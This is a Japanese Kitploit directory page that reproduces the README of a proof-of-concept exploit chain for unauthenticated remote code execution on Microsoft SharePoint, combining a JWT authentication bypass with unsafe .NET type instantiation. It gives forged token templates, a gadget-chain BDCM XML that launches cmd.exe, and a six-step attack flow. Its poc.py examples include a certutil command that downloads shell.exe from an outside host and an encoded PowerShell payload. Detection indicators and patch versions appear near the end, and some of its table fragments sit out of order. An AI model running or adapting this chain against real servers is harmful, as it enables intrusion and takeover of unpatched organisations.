Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-63520 — # Microsoft SharePoint における未認証RCEのエクスプロイトチェーン JWT認証バイパスと安全でない.NET型のインスタンス化を組み合わせ、サービスアカウントとしてコード実行を達成する、Microsoft SharePointの未認証RCEエクスプロイトチェーン。 | Kitploit
ツール/GitHubGitHub/hypnguyen1209/cve-2026-63520
認証と認可脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストレッドチーミングペイロード開発
GitHubhypnguyen1209/cve-2026-63520

CVE-2026-63520

# Microsoft SharePoint における未認証RCEのエクスプロイトチェーン JWT認証バイパスと安全でない.NET型のインスタンス化を組み合わせ、サービスアカウントとしてコード実行を達成する、Microsoft SharePointの未認証RCEエクスプロイトチェーン。

リポジトリを見る
19時間24分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-63520 SharePoint 安全でない型 RCE + CVE-2026-55040 チェーン

Microsoft SharePoint Server に対する認証なし RCE。資格情報は不要です。

Stephen Fewer (Rapid7) は Pwn2Own Berlin 2026 で CVE-2026-55040 を実証しました。Rapid7 はその後の調査で CVE-2026-63520 を発見し、VulnCheck は独立して代替ガジェットチェーンを発見しました。この2つのバグを組み合わせることで、インターネット上のパッチ未適用の SharePoint に対して認証なしのリモートコード実行が可能になります。

CISA は PoC 公開から数時間以内に警告を発しました。現在、実環境で悪用されています。

機能

2つのバグ、1つのチェーン:

CVE種類CVSS影響
CVE-2026-55040JWT 認証バイパス9.1SharePoint の S2S トークン検証には4つの独立した脆弱性があります。これらを連鎖させると、パスワードを知らなくても任意のユーザー(サイト管理者を含む)の有効な JWT を偽造できます。
CVE-2026-63520安全でない .NET 型インスタンス化 → RCE8.1Business Data Connectivity (BDC) は、アップロードされた XML から任意の .NET 型名を許可リストなしで解決します。ObjectDataProvider を指定すると Process.Start() が実行可能になります。

どちらのバグも単独では興味深いものではありません。CVE-2026-63520 は認証が必要です。CVE-2026-55040 は認証を提供します。組み合わせると: SharePoint サービスアカウントとしての認証なし RCE が実現します。

バグ1: JWT バイパス (CVE-2026-55040)

SharePoint はサーバー間 (S2S) 認証にネストされた JWT を使用します。外側のトークンはユーザー ID を保持し、内側の「アクタートークン」は呼び出し元アプリケーションを表します。SPJsonWebSecurityTokenHandlerV2.ValidateToken() の4つの脆弱性により、全体が崩壊します:

脆弱性1 - 署名検証が無効。 バリデータは RequireSignedTokens = false を設定します。外側のトークンは alg: none を受け入れます。署名は不要です。

脆弱性2 - 検証なしの x5t 解決。 アクタートークンの署名キーは、証明書ストア内の x5t (証明書サムプリント) ヘッダーを検索して解決されます。SharePoint はアクタートークンの署名が実際にそのキーと一致するかどうかを決してチェックしません。

脆弱性3 - 発行者検証が未知の証明書を受け入れる。 ValidateIssuer() は、署名証明書が TrustedSecurityTokenServices コレクションにない場合に合格します。SharePoint 自身の STS 証明書はそこに登録されていません。したがって、x5t を介してそれを参照すると、発行者検証は無条件に合格します。

脆弱性4 - 非暗号化署名チェック。 GetTokenSignature() は空でない文字列を要求しますが、暗号検証は一切行いません。任意の値が機能します。AAAA でも機能します。

STS 証明書は公開されています。/_layouts/15/metadata/json/1(認証不要のエンドポイント)から取得し、SHA-1 サムプリントを計算すれば、必要なものはすべて揃います。

偽造トークンの外観

外側のトークン (ユーザー ID を保持):

root@kitploit:~
// ヘッダー
{"alg": "none", "typ": "JWT"}

// ペイロード
{
  "aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
  "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nameid": "<ターゲット SID または UPN>",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "<内側の JWT>"
}
// 署名: 空 (alg:none)

内側のアクタートークン (「アプリケーション」を表す):

root@kitploit:~
// ヘッダー
{"alg": "RS256", "typ": "JWT", "x5t": "<STS 証明書サムプリント>"}

// ペイロード
{
  "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nbf": 1756000000,
  "exp": 1756003600
}
// 署名: "AAAA" (文字通り空でない任意の値)

ID を選択する3つの方法:

バグ2: RCE (CVE-2026-63520)

SharePoint の Business Data Connectivity サービスは、管理者が BDC モデル XML ファイル (.bdcm) を通じて外部データソースを定義できるようにします。これらのモデルは、BDC が実行時にインスタンス化する .NET 型を指定します。

問題は DbTypeReflector.ResolveDotNetType() にあります:

root@kitploit:~
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
    return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true);  // GAC 内の任意の型

15文字未満の型名は安全なリゾルバーを通過します。それより長いものは Type.GetType() を直接呼び出します - これはグローバルアセンブリキャッシュから任意のアセンブリ修飾型名を解決します。許可リストもブロックリストもありません。攻撃者は BDCM XML を通じて abstractTypeName を制御します。

ガジェットチェーン

PresentationFramework の System.Windows.Data.ObjectDataProvider を使用します。その ObjectInstance プロパティを設定すると、そのインスタンス上で MethodName が呼び出されます。MethodName = "Start" と ObjectInstance = System.Diagnostics.Process を細工した StartInfo とともに設定すると、BDC のプロパティセッターリフレクションが残りを処理します:

root@kitploit:~
ObjectDataProvider 作成
  → MethodName = "Start"
  → ObjectInstance = Process
    → StartInfo.FileName = "cmd.exe"
    → StartInfo.Arguments = "/c <ペイロード>"
    → StartInfo.UseShellExecute = false
    → StartInfo.CreateNoWindow = true
  → プロパティセッターが QueryWorker() をトリガー
    → BeginQuery() → InvokeMethodOnInstance()
      → Type.InvokeMember("Start") → Process.Start()

これを運ぶ BDCM XML:

root@kitploit:~
<TypeDescriptor Name="ReturnRoot"
  TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework, 
    Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
  <TypeDescriptors>
    <TypeDescriptor Name="MethodName" TypeName="System.String">
      <DefaultValues>
        <DefaultValue ...>Start</DefaultValue>
      </DefaultValues>
    </TypeDescriptor>
    <TypeDescriptor Name="ObjectInstance"
      TypeName="System.Diagnostics.Process, System, ...">
      <TypeDescriptor Name="StartInfo"
        TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
        <TypeDescriptor Name="FileName" TypeName="System.String">
          <DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
        </TypeDescriptor>
        <TypeDescriptor Name="Arguments" TypeName="System.String">
          <DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
        </TypeDescriptor>
      </TypeDescriptor>
    </TypeDescriptor>
  </TypeDescriptors>
</TypeDescriptor>

VulnCheck は、DotNetAssembly LobSystem を介した TypeConfuseDelegate 逆シリアル化を使用する System.Web.UI.LosFormatter による代替チェーンを文書化しました。複数のガジェットが機能します - 基盤となるプリミティブは無制限の型インスタンス化です。

完全な攻撃フロー

root@kitploit:~
    攻撃者                         SharePoint サーバー
       │                                    │
       │── GET /_layouts/15/metadata/json/1 ──▶│
       │◀── STS 証明書 (x5t + realm) ─────────│  (認証不要)
       │                                    │
       │── DC への SMB ヌルセッション ──────────────▶ ドメインコントローラー
       │◀── ドメイン SID ────────────────────────│
       │                                    │
       │── JWT 偽造 (alg:none + AAAA 署名) ─│
       │── POST /_api/contextinfo ──────────▶│
       │◀── FormDigestValue ────────────────│  CVE-2026-55040: 管理者として認証
       │                                    │
       │── POST /_api/web/lists ────────────▶│  BDC カタログ作成
       │── POST .../Files/add(evil.bdcm) ──▶│  ガジェットチェーンをアップロード
       │── POST /_vti_bin/client.svc/ ──────▶│  ProcessQuery をトリガー
       │        ProcessQuery                │
       │                                    │  CVE-2026-63520: Process.Start()
       │                                    │  → cmd.exe /c <ペイロード>
       │                                    │  → SP サービスアカウントとして実行

6つのステップ:

  1. STS 証明書を取得。 /_layouts/15/metadata/json/1 にアクセス。認証は不要です。keys[0].keyValue.value から X.509 証明書を抽出し、SHA-1 ハッシュして base64url エンコードします。それが x5t です。issuer フィールドから realm が得られます。

  2. サイト管理者を見つける。 ドメインコントローラーへの SMB ヌルセッション、LSARPC LsarQueryInformationPolicy でドメイン SID を取得し、RID (500、1000-10000) を反復して各 RID の JWT を偽造し、/_api/web/currentuser が IsSiteAdmin: true を返すまで続けます。または、既知の UPN を指定するだけでも構いません。

  3. JWT を偽造。 外側: alg:none、nameid = 管理者 SID、actortoken = 内側の JWT。内側: alg:RS256、x5t = STS サムプリント、署名 = AAAA。base64url エンコードし、ドットで連結します。完了です。

  4. フォームダイジェストを取得。 偽造した Bearer トークンで を実行。SharePoint は書き込み操作用の を返します。

影響を受けるバージョン

2026年8月の累積更新プログラムは、BDC がインスタンス化できる .NET 型を制限する ValidateSafeBcsType() を追加します。JWT 修正は、適切な署名検証を追加し、STS 証明書を信頼済みトークンサービスコレクションに登録します。

SharePoint 2016 のメインストリームサポートは 2026 年に終了しました。延長サポートのない組織は修正プログラムを受け取れない可能性があります。

実行方法

依存関係をインストール:

root@kitploit:~
pip install requests
pip install impacket  # --domain-ip 自動 SID 検出にのみ必要

すべてを自動検出 (SID に DC アクセスが必要)

root@kitploit:~
python3 poc.py \
  --target 192.168.1.10 \
  --domain-ip 192.168.1.5 \
  --cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"

スクリプトは以下を実行します:

  • STS メタデータから x5t と realm を取得
  • SMB ヌルセッション経由でドメイン SID を取得
  • サイト管理者が見つかるまで RID を反復
  • JWT を偽造し、ダイジェストを取得し、BDCM をアップロードし、RCE をトリガー

既知の UPN を使用 (SMB 不要)

root@kitploit:~
python3 poc.py \
  --target sharepoint.corp.local \
  --upn [email protected] \
  --cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."

既知の SID を使用

root@kitploit:~
python3 poc.py \
  --target 10.0.0.50 \
  --sid S-1-5-21-4203888158-2793536450-3921675298-500 \
  --cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"

TLS 証明書から UPN を自動検出

root@kitploit:~
python3 poc.py \
  --target 10.0.0.50 \
  --auto-upn \
  --username administrator \
  --cmd "calc.exe"

認証バイパスのみチェック (RCE なし)

root@kitploit:~
python3 poc.py \
  --target 192.168.1.10 \
  --domain-ip 192.168.1.5 \
  --cmd "dummy" \
  --check-only

Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN] が表示されることを確認してください。これで JWT バイパスが機能し、管理者レベルのアクセス権があることが確認できます。

非標準ポート

root@kitploit:~
python3 poc.py \
  --target 10.0.0.50 \
  --port 8443 \
  --upn [email protected] \
  --cmd "whoami"

検出

確認すべき項目:

  • SharePoint エンドポイントに到達する alg: none の JWT。正当な S2S トークンは常に RS256 を使用します。
  • 同じ送信元 IP からの認証 API 呼び出しに続く /_layouts/15/metadata/json/1 へのリクエスト。メタデータエンドポイントは公開されていますが、偵察の後に管理者レベルのアクセスが続くのは不審です。
  • BusinessDataMetadataCatalog に表示される 新しい .bdcm ファイル。ほとんどの SharePoint 展開では BDC をまったく使用しません。BDCM のアップロードは調査に値します。
  • 特にエンティティ型名に ObjectDataProvider または LosFormatter を含む、未知の BDC エンティティを参照する ProcessQuery リクエスト。
  • w3wp.exe (SharePoint アプリケーションプール) からの プロセス生成。ワーカープロセスの子としての cmd.exe、powershell.exe、certutil.exe は典型的な指標です。

参考情報

  • VulnCheck - Exploiting SharePoint: CVE-2026-55040 and CVE-2026-63520 RCE Chain
  • Rapid7 - Technical Analysis of CVE-2026-63520
  • Rapid7 - Technical Analysis of CVE-2026-55040
  • Rapid7 - CVE-2026-55040 Disclosure
  • Rapid7 - CVE-2026-63520 Disclosure
  • sfewer-r7/CVE-2026-55040 (PoC)
  • Previdian - CVE-2026-55040
  • Microsoft Advisory - CVE-2026-55040
  • Microsoft Advisory - CVE-2026-63520

法的免責事項

許可されたセキュリティテストのみを対象としています。所有していないものに対して実行する前に、書面による許可を取得してください。

ツールをダウンロード
モードnameidnii必要なもの
SIDS-1-5-21-...-1605urn:office:idp:activedirectoryドメイン SID (SMB ヌルセッション経由) + RID ブルートフォース
UPNupn_bypass + upn クレームurn:office:idp:activedirectory有効な UPN (例: [email protected])
AccessToken0#.w|nt authority\local serviceAccessTokenなし。アクセスは制限されますが、一部のチェーンには十分です。
POST /_api/contextinfo
FormDigestValue
  • BDCM をアップロード。 BusinessDataMetadataCatalog ライブラリを作成し、ObjectDataProvider ガジェットチェーンを含む悪意のある .bdcm XML をアップロードします。

  • トリガーを引く。 BDC エンティティを解決するリクエストで POST /_vti_bin/client.svc/ProcessQuery を実行。SharePoint は BDCM から型をインスタンス化し、リフレクションでプロパティを設定し、ObjectDataProvider が Process.Start() を発火させます。コードは SharePoint サービスアカウントとして実行されます。

  • 製品脆弱なバージョンパッチKB
    SharePoint Server Subscription Edition16.0.19725.20522 未満2026年8月 CUKB5002893
    SharePoint Server 201916.0.10417.20198 未満2026年8月 SU-
    SharePoint Enterprise Server 201616.0.5565.1001 未満2026年8月 SU-